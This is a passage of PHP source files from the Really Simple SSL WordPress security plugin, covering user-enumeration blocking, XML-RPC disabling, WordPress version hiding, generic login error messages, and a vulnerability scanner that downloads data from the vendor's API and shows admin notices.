                        'dismissible' => true,
                        'admin_notice' => false,
                        'highlight_field_id' => 'enable_firewall',
                        'plusone' => true,
                        'url' => 'https://really-simple-ssl.com/suspected-bots-causing-404-errors/',
                    ]
                ]
            ];

            $notices['404_detection_warning'] = $notice;
        }
        return $notices;
    }
}

new Rsssl_Simple_404_Interceptor();really-simple-ssl/security/wordpress/user-enumeration.php000064400000002522147510273070020043 0ustar00<?php
defined('ABSPATH') or die();
/**
 * Prevent User Enumeration
 * @return void
 */
function rsssl_check_user_enumeration() {
	if ( ! is_user_logged_in() && isset( $_REQUEST['author'] ) ) {
		if ( preg_match( '/\\d/', $_REQUEST['author'] ) > 0 ) {
			wp_die( sprintf(__( 'forbidden - number in author name not allowed = %s', 'really-simple-ssl' ), esc_html( $_REQUEST['author'] ) ) );
		}
	}
}
add_action('init', 'rsssl_check_user_enumeration');

/**
 * @return bool
 * Remove author from Yoast sitemap
 */
function rsssl_remove_author_from_yoast_sitemap( $users ) {
	return false;
}
add_filter('wpseo_sitemap_exclude_author', 'rsssl_remove_author_from_yoast_sitemap', 10, 1 );

/**
 * Prevent WP JSON API User Enumeration
 * Do not disable in when logged in, preventing issues in the Gutenberg Editor
 */

if ( !is_user_logged_in() || !current_user_can('edit_posts') ) {
	add_filter( 'rest_endpoints', function ( $endpoints ) {
		if ( isset( $endpoints['/wp/v2/users'] ) ) {
			unset( $endpoints['/wp/v2/users'] );
		}
		if ( isset( $endpoints['/wp/v2/users/(?P[\d]+)'] ) ) {
			unset( $endpoints['/wp/v2/users/(?P[\d]+)'] );
		}
		return $endpoints;
	} );
}

//prevent xml site map user enumeration
add_filter(
	'wp_sitemaps_add_provider',
	function( $provider, $name ) {
		if ( 'users' === $name ) {
			return false;
		}

		return $provider;
	},
	10,
	2
);really-simple-ssl/security/wordpress/disable-xmlrpc.php000064400000000605147510273070017447 0ustar00<?php
defined( 'ABSPATH' ) or die( "you do not have access to this page!" );

/**
 * Disable XMLRPC when this integration is activated
 */

add_filter('xmlrpc_enabled', '__return_false');
/**
 * Remove html link
 */
remove_action( 'wp_head', 'rsd_link' );
/**
 * stop all requests to xmlrpc.php for RSD per XML-RPC:
 */
if ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST )
    exit;






really-simple-ssl/security/wordpress/index.php000064400000000043147510273070015644 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/security/wordpress/hide-wp-version.php000064400000005205147510273070017562 0ustar00<?php
defined( 'ABSPATH' ) or die();
if ( ! class_exists( 'rsssl_hide_wp_version' ) ) {
	class rsssl_hide_wp_version {
		private static $_this;
		public $new_version = false;
		function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die( "you cannot create a second instance of a singleton class" );
			}

			self::$_this = $this;
			add_action( 'init', array($this, 'remove_wp_version') );
			add_filter( 'rsssl_fixer_output', array( $this, 'replace_wp_version') );
		}

		static function this() {
			return self::$_this;
		}

		/**
		 * Remove WordPress version info from page source
		 *
		 * @return void
		 */
		public function remove_wp_version() {
			// remove <meta name="generator" content="WordPress VERSION" />
			add_filter( 'the_generator', function () {
				return '';
			} );
			// remove WP ?ver=5.X.X from css/js
			add_filter( 'style_loader_src', array( $this, 'remove_css_js_version' ), 9999 );
			add_filter( 'script_loader_src', array ($this, 'remove_css_js_version'), 9999 );
			remove_action( 'wp_head', 'wp_generator' ); // remove wordpress version
			remove_action( 'wp_head', 'index_rel_link' ); // remove link to index page
			remove_action( 'wp_head', 'wlwmanifest_link' ); // remove wlwmanifest.xml (needed to support windows live writer)
			remove_action( 'wp_head', 'wp_shortlink_wp_head', 10 ); // Remove shortlink
		}

		/**
		 * Generate a random version number
		 *
		 * @return string
		 */
		public function generate_rand_version() {
			if ( !$this->new_version) {
				$wp_version = get_bloginfo( 'version' );
				$token      = get_option( 'rsssl_wp_version_token' );
				if ( ! $token ) {
					$token = str_shuffle( time() );
					update_option( 'rsssl_wp_version_token', $token );
				}

				$this->new_version = hash( 'md5', $token );
			}
			return $this->new_version;
		}

		/**
		 * @param string $html
		 *
		 * @return string
		 *
		 */
		public function replace_wp_version( $html ) {
			$wp_version  = get_bloginfo( 'version' );
			$new_version = $this->generate_rand_version();

			return str_replace( '?ver=' . $wp_version, '?ver=' . $new_version, $html );
		}

		/**
		 * @param $src
		 *
		 * @return mixed|string
		 * Remove WordPress version from css and js strings
		 */
		public function remove_css_js_version( $src ) {
			if ( empty($src) ) {
				return $src;
			}

			if ( strpos( $src, '?ver=' ) && strpos( $src, 'wp-includes' ) ) {
				$wp_version  = get_bloginfo( 'version' );
				$new_version = $this->generate_rand_version();
				$src         = str_replace( '?ver=' . $wp_version, '?ver=' . $new_version, $src );
			}

			return $src;
		}
	}
}
RSSSL_SECURITY()->components['hide-wp-version'] = new rsssl_hide_wp_version();really-simple-ssl/security/wordpress/prevent-login-info-leakage.php000064400000001747147510273070021662 0ustar00<?php
defined('ABSPATH') or die();
/**
 * Override default login error message
 * @return string|void
 **/
function rsssl_no_wp_login_errors()
{
    return __("Invalid login details.", "really-simple-ssl");
}
add_filter( 'login_errors', 'rsssl_no_wp_login_errors' );

/**
 * Hide feedback entirely on password reset (no filter available).
 *
 * @return void
 *
 */
function rsssl_hide_pw_reset_error() {
    ?>
    <style>
       .login-action-lostpassword #login_error{
           display: none;
       }
    </style>
    <?php
}
add_action( 'login_enqueue_scripts', 'rsssl_hide_pw_reset_error' );

/**
 *
 * Clear username when username is valid but password is incorrect
 *
 * @return void
 */
function rsssl_clear_username_on_correct_username() {
    ?>
    <script>
        if ( document.getElementById('login_error') ) {
            document.getElementById('user_login').value = '';
        }
    </script>
    <?php
}
add_action( 'login_footer', 'rsssl_clear_username_on_correct_username' );
really-simple-ssl/security/wordpress/display-name-is-login-name.php000064400000003046147510273070021563 0ustar00<?php
defined( 'ABSPATH' ) or die();

/**
 * Add javascript to make first and last name fields required
 */
function rsssl_disable_registration_js() {
    if ( !isset($_SERVER['REQUEST_URI']) || (strpos($_SERVER['REQUEST_URI'], 'user-new.php')===false && strpos($_SERVER['REQUEST_URI'], 'profile.php')===false) ) {
        return;
    }
    ?>
    <script>
        window.addEventListener('load', () => {
            document.getElementById('first_name').closest('tr').classList.add("form-required");
            document.getElementById('last_name').closest('tr').classList.add("form-required");
        });
    </script>
    <?php
}
add_action( 'admin_print_footer_scripts', 'rsssl_disable_registration_js' );

/**
 * Add javascript to make first and last name fields required
 */
function rsssl_strip_userlogin() {
	if ( !isset($_SERVER['REQUEST_URI']) || strpos($_SERVER['REQUEST_URI'], 'profile.php')===false ) {
		return;
	}
	?>
    <script>
        let rsssl_user_login = document.querySelector('input[name=user_login]');
        let rsssl_display_name = document.querySelector('select[name=display_name]');
        if ( rsssl_display_name.options.length>1) {
            for (let i = rsssl_display_name.options.length-1; i >= 0; i--) {
                if ( rsssl_user_login.value.toLowerCase() === rsssl_display_name.options[i].value.toLowerCase() ) {
                    rsssl_display_name.removeChild(rsssl_display_name.options[i])
                }
            }
        }
    </script>
	<?php
}
add_action( 'admin_print_footer_scripts', 'rsssl_strip_userlogin' );really-simple-ssl/security/wordpress/vulnerabilities.php000064400000174516147510273070017757 0ustar00<?php /** @noinspection PhpComposerExtensionStubsInspection */

use security\wordpress\vulnerabilities\Rsssl_File_Storage;

defined('ABSPATH') or die();
//including the file storage class
require_once(rsssl_path . 'security/wordpress/vulnerabilities/class-rsssl-file-storage.php');

/**
 * @package Really Simple Security
 * @subpackage RSSSL_VULNERABILITIES
 */
if (!class_exists("rsssl_vulnerabilities")) {
    /**
     *
     * Class rsssl_vulnerabilities
     * Checks for vulnerabilities in the core, plugins and themes.
     *
     * @property $notices
     * @author Marcel Santing
     * this class handles import of vulnerabilities, notifying and informing the user.
     *
     */
    class rsssl_vulnerabilities
    {
        const RSSSL_SECURITY_API = 'https://downloads.really-simple-security.com/rsssl/vulnerabilities/V1/';
        public $workable_plugins = [];

        /**
         * interval to download new jsons
         */
        public $interval = 12 * HOUR_IN_SECONDS;
        public $update_count = 0;

        protected $risk_naming = [];

        /**
         * @var array|int[]
         */
        public $risk_levels = [
            'l' => 1,
            'm' => 2,
            'h' => 3,
            'c' => 4,
        ];
        public $jsons_files_updated = false;

        public function __construct()
        {

	        $this->init();
	        add_filter('rsssl_vulnerability_data', array($this, 'get_stats'));

	        //now we add the action to the cron.
	        add_action('rsssl_three_hours_cron', array($this, 'run_cron'));
	        add_filter('rsssl_notices', [$this, 'show_help_notices'], 10, 1);
	        add_action( 'rsssl_after_save_field', array( $this, 'maybe_delete_local_files' ), 10, 4 );
	        add_action( 'rsssl_upgrade', array( $this, 'upgrade_encrypted_files') );
	        add_action('init', [$this, 'load_translations']);
        }

        public function load_translations(): void {
            $this->risk_naming = [
                'l' => __('low-risk', 'really-simple-ssl'),
                'm' => __('medium-risk', 'really-simple-ssl'),
                'h' => __('high-risk', 'really-simple-ssl'),
                'c' => __('critical', 'really-simple-ssl'),
            ];
        }

	    /**
         * Upgrade to the new encryption system by deleting all files en re-downloading
         *
	     * @return void
	     */
        public function upgrade_encrypted_files($prev_version) : void {
	        if ( $prev_version && version_compare( $prev_version, '8.3.0', '<' ) ) {
		        //delete all files and reload
		        Rsssl_File_Storage::DeleteAll();
		        $this->force_reload_files();
		        delete_option( 'rsssl_hashkey' );
            }

        }

//	    /**
//	     * @param $field_id
//	     * @param $field_value
//	     * @param $prev_value
//	     * @param $field_type
//	     *
//	     * @return void
//         *
//         *
//	     */
//        public function maybe_enable_vulnerability_scanner( $field_id, $field_value, $prev_value, $field_type ) {
//	        if ( $field_id==='enable_vulnerability_scanner' && $field_value !== $prev_value && rsssl_user_can_manage() ) {
//                if ( $field_value !== false ) {
//                    // Already enabled
//	                rsssl_update_option('enable_vulnerability_scanner', 1);
//                }
//	        }
//        }

		/**
         * Deletes local files if the vulnerability scanner is disabled
         *
		 * @param $field_id
		 * @param $field_value
		 * @param $prev_value
		 * @param $field_type
		 *
		 * @return void
		 */
        public static function maybe_delete_local_files($field_id, $field_value, $prev_value, $field_type): void {
            if ( $field_id==='enable_vulnerability_scanner' && $field_value !== $prev_value && rsssl_user_can_manage() ) {
                if ( $field_value == false ) {
                    // Already disabled
                    require_once(rsssl_path . 'security/wordpress/vulnerabilities/class-rsssl-file-storage.php');
                    \security\wordpress\vulnerabilities\Rsssl_File_Storage::DeleteAll();

                }
            }
        }

        public function riskNaming($risk = null)
        {
            if (is_null($risk)) {
                return $this->risk_naming;
            }
            return $this->risk_naming[$risk];
        }

        /* Public Section 1: Class Build-up initialization and instancing */

        public function run_cron(): void {
	        $this->check_files();
	        $this->cache_installed_plugins(true);
	        if ( $this->jsons_files_updated ) {
                if ($this->should_send_mail()) {
	                $this->send_vulnerability_mail();
                }

                $this->check_notice_reset();
	        }
        }

	    /**
         * Check if dismissed notices have to be reset
	     * @return void
	     */
        private function check_notice_reset(): void {
            $this->cache_installed_plugins();
	        $clear_admin_notices_cache = false;
	        foreach ( $this->risk_levels as $level => $int_level ) {
		        if ( $this->should_reset_notification($level) ) {
			        delete_option("rsssl_" . 'risk_level_' . $level . "_dismissed");
                    $clear_admin_notices_cache = true;
		        }
	        }
            if ( $clear_admin_notices_cache ) {
	            RSSSL()->admin->clear_admin_notices_cache();
            }
        }

	    /**
	     * Allow users to manually force a re-check, e.g. in case of manually updating plugins
	     * @return void
	     */
	    public function force_reload_files(): void {
		    if ( ! rsssl_admin_logged_in() ) {
			    return;
		    }
		    \security\wordpress\vulnerabilities\Rsssl_File_Storage::DeleteOldFiles();

		    if ( isset($_GET['rsssl_check_vulnerabilities']) || get_option('rsssl_reload_vulnerability_files') ) {
			    delete_option('rsssl_reload_vulnerability_files');
			    $this->reload_files_on_update();
			    update_option('rsssl_clear_vulnerability_notices', true, false);
			    set_transient('rsssl_delay_clear', true, 1 * MINUTE_IN_SECONDS );
		    }

		    if ( get_option('rsssl_clear_vulnerability_notices') && !get_transient('rsssl_delay_clear')) {
			    RSSSL()->admin->clear_admin_notices_cache();
			    delete_option('rsssl_clear_vulnerability_notices');
		    }
	    }

	    /**
	     * Checks the files on age and downloads if needed.
	     * @return void
	     */
	    public function reload_files_on_update(): void {
		    if ( ! rsssl_admin_logged_in() ) {
			    return;
		    }
		    //if the manifest is not older than 4 hours, we don't download it again.
		    if ( $this->get_file_stored_info(false, true) < time() - 14400) {
			    $this->download_manifest();
		    }
		    $this->download_plugin_vulnerabilities();
		    $this->download_core_vulnerabilities();
		    $this->check_notice_reset();

	    }

        public function init(): void {
	        if ( ! rsssl_admin_logged_in() ) {
		        return;
	        }
            //we check the rsssl options if the enable_feedback_in_plugin is set to true
            if ( rsssl_get_option('enable_feedback_in_plugin') ) {
                // we enable the feedback in the plugin
                $this->enable_feedback_in_plugin();
                $this->enable_feedback_in_theme();
            }

            //we check if upgrader_process_complete is called, so we can reload the files.
            add_action('upgrader_process_complete', array($this, 'reload_files_on_update'), 10, 2);
            add_action('_core_updated_successfully', array($this, 'prepare_reloading_of_files'), 10, 2);
            //After activation, we need to reload the files.
            add_action( 'activate_plugin', array($this, 'reload_files_on_update'), 10, 2);
	        //we can also force it
            add_action( 'admin_init', array($this, 'force_reload_files'));

            //same goes for themes.
            add_action('after_switch_theme', array($this, 'reload_files_on_update'), 10, 2);
            add_action('current_screen', array($this, 'show_inline_code'));
        }

	    /**
         * Directly hooking into the core upgrader hook doesn't work, so is too early.
         * To force this, we save an option we can check later
         *
	     * @return void
	     */
        public function prepare_reloading_of_files(): void {
            update_option("rsssl_reload_vulnerability_files", true, false);
        }

        /**
         * Function used for first run of the plugin.
         *
         * @return array
         */
        public static function firstRun(): array
        {
	        if ( ! rsssl_user_can_manage() ) {
		        return [];
	        }
            $self = new self();
	        $self->check_files();
	        $self->cache_installed_plugins(true);

	        return [
		        'request_success' => true,
		        'data' =>   $self->workable_plugins
	        ];
        }

	    /**
         * Get site health notice for vulnerabilities
	     * @return array
	     */
	    public function get_site_health_notice(): array {
            if (!rsssl_admin_logged_in()){
                return [];
            }

		    $this->cache_installed_plugins();
		    $risks = $this->count_risk_levels();
            if (count($risks) === 0) {
	            return array(
		            'label'       => __( 'No known vulnerabilities detected', 'really-simple-ssl' ),
		            'status'      => 'good',
		            'badge'       => array(
			            'label' => __('Security'),
			            'color' => 'blue',
		            ),
		            'description' => sprintf(
			            '<p>%s</p>',
			            __( 'No known vulnerabilities detected', 'really-simple-ssl' )
		            ),
		            'actions'     => '',
		            'test'        => 'health_test',
	            );
            }
            $total = 0;
		    foreach ($this->risk_levels as $risk_level => $value) {
                $total += $risks[ $risk_level ] ?? 0;
            }

		    return array(
			    'label'       => __( 'Vulnerabilities detected','really-simple-ssl' ),
			    'status'      => 'critical',
			    'badge'       => array(
				    'label' => __( 'Security' ),
				    'color' => 'blue',
			    ),
			    'description' => sprintf(
				    '<p>%s</p>',
				    sprintf(_n( '%s vulnerability has been detected.', '%s vulnerabilities have been detected.', $total, 'really-simple-ssl' ), number_format_i18n( $total )) . ' '.
				    __( 'Please check the vulnerabilities overview for more information and take appropriate action.' ,'really-simple-ssl' )
			    ),
			    'actions'     => sprintf(
				    '<p><a href="%s" target="_blank" rel="noopener noreferrer">%s</a></p>',
				    esc_url( rsssl_admin_url([], '#settings/vulnerabilities/vulnerabilities-overview') ),
				    __( 'View vulnerabilities', 'really-simple-ssl' )
			    ),
			    'test' => 'rsssl_vulnerabilities',
		    );
        }

        public function show_help_notices($notices)
        {
            $this->cache_installed_plugins();
            $risks = $this->count_risk_levels();
	        $level_to_show_on_dashboard = rsssl_get_option('vulnerability_notification_dashboard');
	        $level_to_show_sitewide = rsssl_get_option('vulnerability_notification_sitewide');
            foreach ($this->risk_levels as $risk_level => $value) {
                if ( !isset($risks[$risk_level]) ) {
                    continue;
                }
                //this is shown bases on the config of vulnerability_notification_dashboard
                $siteWide = false;
                $dashboardNotice = false;
                if ( $level_to_show_on_dashboard && $level_to_show_on_dashboard !== '*') {
                    if ($value >= $this->risk_levels[$level_to_show_on_dashboard]) {
	                    $dashboardNotice = true;
                    }
                }
                if ($level_to_show_sitewide && $level_to_show_sitewide !== '*') {
                    if ($value >= $this->risk_levels[$level_to_show_sitewide]) {
                        $siteWide = true;
                    }
                }
                if ( !$dashboardNotice && !$siteWide ) {
                    continue;
                }

                $count = $risks[$risk_level];
	            $title = $this->get_warning_string($risk_level, $count);
                $notice = [
                    'callback' => '_true_',
                    'score' => 1,
                    'show_with_options' => ['enable_vulnerability_scanner'],
                    'output' => [
                        'true' => [
                            'title' => $title,
                            'msg' => $title.' '.__('Please take appropriate action.','really-simple-ssl'),
                            'icon' => ($risk_level === 'c' || $risk_level==='h') ? 'warning' : 'open',
                            'type' => 'warning',
                            'dismissible' => true,
                            'admin_notice' => $siteWide,
                            'plusone' => true,
                            'highlight_field_id' => 'vulnerabilities-overview',
                        ]
                    ],
                ];
                $notices['risk_level_' . $risk_level] = $notice;

            }
            //now we add the test notices for admin and dahboard.

            //if the option is filled, we add the test notice.
            $test_id = get_option('test_vulnerability_tester');
            if($test_id) {
	            $dashboard = rsssl_get_option('vulnerability_notification_dashboard');
	            $side_wide = rsssl_get_option('vulnerability_notification_sitewide');

	            $site_wide_icon = $side_wide === 'l' || $side_wide === 'm' ? 'open' : 'warning';
	            if ( $side_wide === 'l' || $side_wide === 'm' || $side_wide === 'h' || $side_wide === 'c') {
		            $notices[ 'test_vulnerability_sitewide_' .$test_id ] = [
			            'callback'          => '_true_',
			            'score'             => 1,
			            'show_with_options' => [ 'enable_vulnerability_scanner' ],
			            'output'            => [
				            'true' => [
					            'title'        => __( 'Site wide - Test Notification', 'really-simple-ssl' ),
					            'msg'          => __( 'This is a test notification from Really Simple Security. You can safely dismiss this message.', 'really-simple-ssl' ),
					            'url' => rsssl_admin_url([], '#settings/vulnerabilities/vulnerabilities-overview'),
					            'icon'         => $site_wide_icon,
					            'dismissible'  => true,
					            'admin_notice' => true,
					            'plusone'      => true,
				            ]
			            ]
		            ];
	            }

                //don't add this one if the same level
	            $dashboard_icon = $dashboard === 'l' || $dashboard === 'm' ? 'open' : 'warning';
	            if ($dashboard_icon !== $site_wide_icon) {
	                if ( $dashboard === 'l' || $dashboard === 'm' || $dashboard === 'h' || $dashboard === 'c' ) {
		                $notices[ 'test_vulnerability_dashboard_' .$test_id ] = [
			                'callback'          => '_true_',
			                'score'             => 1,
			                'show_with_options' => [ 'enable_vulnerability_scanner' ],
			                'output'            => [
				                'true' => [
					                'title'        => __( 'Dashboard - Test Notification', 'really-simple-ssl' ),
					                'msg'          => __( 'This is a test notification from Really Simple Security. You can safely dismiss this message.', 'really-simple-ssl' ),
					                'icon'         => $dashboard_icon,
					                'dismissible'  => true,
					                'admin_notice' => false,
					                'plusone'      => true,
				                ]
			                ]
		                ];
	                }
                }
            }

            return $notices;
        }

        /**
         * Generate plugin files for testing purposes.
         *
         * @return array
         */
        public static function testGenerator(): array
        {
            $mail_notification = rsssl_get_option('vulnerability_notification_email_admin');
            if ( $mail_notification === 'l' || $mail_notification === 'm' || $mail_notification === 'h' || $mail_notification === 'c' ) {
                $mailer = new rsssl_mailer();
                $mailer->send_test_mail();
            }
            return [];
        }


        /* Public Section 2: DataGathering */

		/**
		 * @param $stats
		 *
		 * @return array
		 */
        public function get_stats($stats): array
        {
	        if ( ! rsssl_user_can_manage() ) {
		        return $stats;
	        }

	        $this->cache_installed_plugins();
            //now we only get the data we need.
            $vulnerabilities = array_filter($this->workable_plugins, static function ($plugin) {
                if (isset($plugin['vulnerable']) && $plugin['vulnerable']) {
                    return $plugin;
                }
                return false;
            });

	        $time = $this->get_file_stored_info(true);
	        $stats['vulnerabilities'] = count($vulnerabilities);
	        $stats['vulList'] = $vulnerabilities;
            $riskData = $this->measures_data();
            $stats['riskData'] = $riskData['data'];
	        $stats['lastChecked'] = $time;
            return $stats;
        }


	    /**
	     * This combines the vulnerabilities with the installed plugins
	     *
	     * And loads it into a memory cache on page load
	     *
	     */
	    public function cache_installed_plugins($force_update=false): void
	    {
		    if ( ! rsssl_admin_logged_in() ) {
			    return;
		    }

            if ( !$force_update && !empty($this->workable_plugins) ) {
                return;
            }
		    //first we get all installed plugins
		    $installed_plugins = get_plugins();

		    $installed_themes = wp_get_themes();
		    //we flatten the array
		    $update = get_site_transient('update_themes');
		    //we make the installed_themes look like the installed_plugins
		    $installed_themes = array_map( static function ($theme) use ($update) {
			    return [
				    'Name' => $theme->get('Name'),
				    'Slug' => $theme->get('TextDomain'),
				    'description' => $theme->get('Description'),
				    'Version' => $theme->get('Version'),
				    'Author' => $theme->get('Author'),
				    'AuthorURI' => $theme->get('AuthorURI'),
				    'PluginURI' => $theme->get('ThemeURI'),
				    'TextDomain' => $theme->get('TextDomain'),
				    'RequiresWP' => $theme->get('RequiresWP'),
				    'RequiresPHP' => $theme->get('RequiresPHP'),
                    'update_available' => isset($update->response[$theme->get('TextDomain')]),
			    ];
		    }, $installed_themes);

		    //we add a column type to all values in the array
		    $installed_themes = array_map( static function ($theme) {
			    $theme['type'] = 'theme';
			    return $theme;
		    }, $installed_themes);

		    //we add a column type to all values in the array
            //this resets the array keys (currently slugs) so we preserve them in the 'Slug' column.
		    $update = get_site_transient('update_plugins');
		    $installed_plugins = array_map( static function ($plugin, $slug) use ($update) {
  			    $plugin['type'] = 'plugin';
			    $plugin['update_available'] = isset($update->response[$slug]);
                $plugin['Slug'] = dirname($slug);
                $plugin['File'] = $slug;
			    return $plugin;
		    }, $installed_plugins, array_keys($installed_plugins) );

		    //we merge the two arrays
		    $installed_plugins = array_merge($installed_plugins, $installed_themes);

		    //now we get the components from the file
		    $components = $this->get_components();
            //We loop through plugins and check if they are in the components array
		    foreach ($installed_plugins as $plugin) {
			    $slug = $plugin['Slug'];
			    $plugin['vulnerable'] = false;
			    if( $plugin['type'] === 'theme' ) {
				    // we check if the theme exists as a directory
                    $plugin['folder_exists'] = file_exists(get_theme_root() . '/' . $slug );
			    }

			    if( $plugin['type'] === 'plugin' ) {
				    //also we check if the folder exists for the plugin we added this check for later purposes
                    $plugin['folder_exists'] = file_exists(WP_PLUGIN_DIR . '/' . dirname($slug) );
			    }

			    //if there are no components, we return
			    if ( !empty($components) ) {
				    foreach ($components as $component) {
					    if ($plugin['Slug'] === $component->slug) {
						    if (!empty($component->vulnerabilities) && $plugin['folder_exists'] === true) {
							    $plugin['vulnerable'] = true;
							    $plugin['risk_level'] = $this->get_highest_vulnerability($component->vulnerabilities);
							    $plugin['rss_identifier'] = $this->getLinkedUUID($component->vulnerabilities, $plugin['risk_level']);
							    $plugin['risk_name'] = $this->risk_naming[$plugin['risk_level']];
							    $plugin['date'] = $this->getLinkedDate($component->vulnerabilities, $plugin['risk_level']);
						    }
					    }
				    }
			    }

			    //we walk through the components array
			    $this->workable_plugins[$slug] = $plugin;
		    }


		    //now we get the core information
		    $core = $this->get_core();

		    //we create a plugin like entry for core to add to the workable_plugins array
		    $core_plugin = [
			    'Name' => 'WordPress',
			    'Slug' => 'wordpress',
			    'Version' => $core->version?? '',
			    'Author' => 'WordPress',
			    'AuthorURI' => 'https://wordpress.org/',
			    'PluginURI' => 'https://wordpress.org/',
			    'TextDomain' => 'wordpress',
			    'type' => 'core',
		    ];
		    $core_plugin['vulnerable'] = false;
		    //we check if there is an update available
		    $update = get_site_transient('update_core');
		    if (isset($update->updates[0]->response) && $update->updates[0]->response === 'upgrade') {
			    $core_plugin['update_available'] = true;
		    } else {
			    $core_plugin['update_available'] = false;
		    }
		    //if there are no components, we return
		    if ( !empty($core->vulnerabilities) ) {
			    $core_plugin['vulnerable'] = true;
			    $core_plugin['risk_level'] = $this->get_highest_vulnerability($core->vulnerabilities);
			    $core_plugin['rss_identifier'] = $this->getLinkedUUID($core->vulnerabilities, $core_plugin['risk_level']);
			    $core_plugin['risk_name'] = $this->risk_naming[$core_plugin['risk_level']];
			    $core_plugin['date'] = $this->getLinkedDate($core->vulnerabilities, $core_plugin['risk_level']);
		    }
		    //we add the core plugin to the workable_plugins array
		    $this->workable_plugins['wordpress'] = $core_plugin;
        }


        /* Public Section 3: The plugin page add-on */
        /**
         * Callback for the manage_plugins_columns hook to add the vulnerability column
         *
         * @param $columns
         */
        public function add_vulnerability_column($columns)
        {
            $columns['vulnerability'] = __('Vulnerabilities', 'really-simple-ssl');

            return $columns;
        }

        /**
         * Get the data for the risk vulnerabilities table
         * @param $data
         * @return array
         */
        public function measures_data(): array
        {
            $measures = [];
            $measures[] = [
                'id' => 'force_update',
                'name' => __('Force update', 'really-simple-ssl'),
                'value' => get_option('rsssl_force_update'),
                'description' => sprintf(__('Will run a frequent update process on vulnerable components.', 'really-simple-ssl'), $this->riskNaming('l')),
            ];
            $measures[] = [
                'id' => 'quarantine',
                'name' => __('Quarantine', 'really-simple-ssl'),
                'value' => get_option('rsssl_quarantine'),
                'description' => sprintf(__('Components will be quarantined if the update process fails.', 'really-simple-ssl'), $this->riskNaming('m')),
            ];

            return [
                "request_success" => true,
                'data' => $measures
            ];
        }

	    /**
         * Store the mesures from the api
	     * @param $measures
	     *
	     * @return array
	     */
        public function measures_set($measures): array {
            if (!rsssl_user_can_manage()) {
                return [];
            }

            $risk_data = $measures['riskData'] ?? [];
	        foreach ( $risk_data as $risk ) {
                if ( !isset($risk['value']) ) {
                    continue;
                }
                update_option('rsssl_'.sanitize_title($risk['id']), $this->sanitize_measure($risk['value']), false );
            }
            return [];
        }

	    /**
         * Sanitize a measure
         *
	     * @param string $measure
	     *
	     * @return mixed|string
	     */
        public function sanitize_measure($measure) {
            return isset($this->risk_levels[$measure]) ? $measure : '*';
        }

        /**
         * Callback for the manage_plugins_custom_column hook to add the vulnerability field
         *
         * @param string $column_name
         * @param string $plugin_file
         */
        public function add_vulnerability_field( string $column_name, string $plugin_file): void {
            if ( ( $column_name === 'vulnerability' ) ) {
	            $this->cache_installed_plugins();
                if ($this->check_vulnerability( $plugin_file ) ) {
	                switch ( $this->check_severity( $plugin_file ) ) {
		                case 'c':
			                printf(
                                    '<a class="rsssl-btn-vulnerable rsssl-critical" target="_blank" rel="noopener noreferrer" href="%s">%s</a>',
				                    rsssl_link('vulnerability/' . $this->getIdentifier( $plugin_file ) ),
                                    ucfirst( $this->risk_naming['c'] )
                            );
			                break;
		                case 'h':
			                printf(
                                    '<a class="rsssl-btn-vulnerable rsssl-high" target="_blank" rel="noopener noreferrer" href="%s">%s</a>',
				                    rsssl_link('vulnerability/' . $this->getIdentifier( $plugin_file ) ),
                                    ucfirst( $this->risk_naming['h'] )
                            );
			                break;
		                case 'm':
			                printf(
                                    '<a class="rsssl-btn-vulnerable rsssl-medium" target="_blank" rel="noopener noreferrer" href="%s">%s</a>',
				                    rsssl_link('vulnerability/' . $this->getIdentifier( $plugin_file ) ),
                                    ucfirst( $this->risk_naming['m'] )
                            );
			                break;
		                default:
			                echo sprintf(
                                    '<a class="rsssl-btn-vulnerable rsssl-low" target="_blank" rel="noopener noreferrer" href="%s">%s</a>',
				                    rsssl_link('vulnerability/' . $this->getIdentifier( $plugin_file ) ),
                                    ucfirst( $this->risk_naming['l'] )
                            );
			                break;
	                }
                }
                if ( $this->is_quarantined($plugin_file)) {
	                echo sprintf( '<a class="rsssl-btn-vulnerable rsssl-critical" target="_blank" rel="noopener noreferrer" href="%s">%s</a>',
		                'https://really-simple-ssl.com/instructions/about-vulnerabilities/#quarantine' , __("Quarantined","really-simple-ssl") );
                }
            }
        }

        /**
         * Callback for the admin_enqueue_scripts hook to add the vulnerability styles
         *
         * @param $hook
         *
         * @return void
         */
        public function add_vulnerability_styles($hook)
        {
            if ('plugins.php' !== $hook) {
                return;
            }
            //only on settings page
            $rtl = is_rtl() ? 'rtl/' : '';
            $url = trailingslashit(rsssl_url) . "assets/css/{$rtl}rsssl-plugin.min.css";
            $path = trailingslashit(rsssl_path) . "assets/css/{$rtl}rsssl-plugin.min.css";
            if (file_exists($path)) {
                wp_enqueue_style('rsssl-plugin', $url, array(), rsssl_version);
            }
        }

        /**
         * checks if the plugin is vulnerable
         *
         * @param $plugin_file
         *
         * @return mixed
         */
        private function check_vulnerability($plugin_file)
        {
            return $this->workable_plugins[ dirname($plugin_file) ]['vulnerable'] ?? false;
        }

	    /**
         * Check if a plugin is quarantined
	     *
	     * @param string $plugin_file
	     *
	     * @return bool
	     */
	    private function is_quarantined(string $plugin_file): bool {
            return strpos($plugin_file, '-rsssl-q-')!==false;
	    }

        /**
         * checks if the plugin's severity closed
         *
         * @param $plugin_file
         *
         * @return mixed
         */
        private function check_severity($plugin_file)
        {
            return $this->workable_plugins[dirname($plugin_file)]['risk_level'];
        }

        private function getIdentifier($plugin_file)
        {
            return $this->workable_plugins[dirname($plugin_file)]['rss_identifier'];
        }
        /* End of plug-in page add-on */


        /* Public and private functions | Files and storage */

        /**
         * Checks the files on age and downloads if needed.
         *
         * @return void
         */
        public function check_files(): void
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return;
	        }

            //we download the manifest file if it doesn't exist or is older than 12 hours
            if ($this->validate_local_file(false, true)) {
                if ( $this->get_file_stored_info(false, true) < time() - $this->interval ) {
                    $this->download_manifest();
                }
            } else {
                $this->download_manifest();
            }
            //We check the core vulnerabilities and validate age and existence
            if ($this->validate_local_file(true, false)) {
                //if the file is younger than 12 hours, we don't download it again.
                if ($this->get_file_stored_info(true) < time() - $this->interval ) {
                    $this->download_core_vulnerabilities();
                }

            } else {
                $this->download_core_vulnerabilities();
            }

            //We check the plugin vulnerabilities and validate age and existence
            if ($this->validate_local_file()) {
                if ($this->get_file_stored_info() < time() - $this->interval ) {
                    $this->download_plugin_vulnerabilities();
                }
            } else {
                $this->download_plugin_vulnerabilities();
            }
        }


        /**
